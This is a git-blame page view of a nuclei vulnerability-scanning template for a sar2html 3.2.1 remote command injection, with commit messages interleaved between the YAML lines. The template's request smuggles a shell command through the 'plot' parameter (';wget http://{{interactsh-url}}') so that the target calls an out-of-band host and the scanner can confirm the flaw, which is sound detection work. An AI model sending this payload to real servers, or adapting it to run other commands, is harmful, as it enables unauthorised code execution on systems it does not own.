daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/vulnerabilities/other/sar2html-rce.yaml

31 lines
919 B
YAML
Raw Normal View History

Create sar2html-rce.yaml SAR2HTML could allow a remote attacker to execute arbitrary commands on the system, caused by a commend injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-11 04:58:08 +00:00
id: sar2html-rce
info:
Enhancement: vulnerabilities/other/sar2html-rce.yaml by mp
2022-05-30 16:19:44 +00:00
name: sar2html 3.2.1 - Remote Command Injection
Create sar2html-rce.yaml SAR2HTML could allow a remote attacker to execute arbitrary commands on the system, caused by a commend injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-11 04:58:08 +00:00
author: gy741
severity: critical
Update sar2html-rce.yaml
2022-05-31 09:11:26 +00:00
description: |
SAR2HTML could allow a remote attacker to execute arbitrary commands on the system via a command injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system.
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
reference:
- https://www.exploit-db.com/exploits/49344
Enhancement: vulnerabilities/other/sar2html-rce.yaml by mp
2022-05-30 16:19:44 +00:00
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-77
Auto Generated CVE annotations [Sat Aug 27 04:41:18 UTC 2022] :robot:
2022-08-27 04:41:18 +00:00
tags: sar2html,rce,oast,edb
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 1
Create sar2html-rce.yaml SAR2HTML could allow a remote attacker to execute arbitrary commands on the system, caused by a commend injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-11 04:58:08 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create sar2html-rce.yaml SAR2HTML could allow a remote attacker to execute arbitrary commands on the system, caused by a commend injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-11 04:58:08 +00:00
- raw:
- |
Update sar2html-rce.yaml
2021-08-12 09:33:49 +00:00
GET /index.php?plot=;wget%20http://{{interactsh-url}} HTTP/1.1
Create sar2html-rce.yaml SAR2HTML could allow a remote attacker to execute arbitrary commands on the system, caused by a commend injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-08-11 04:58:08 +00:00
Host: {{Hostname}}
Accept: */*
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"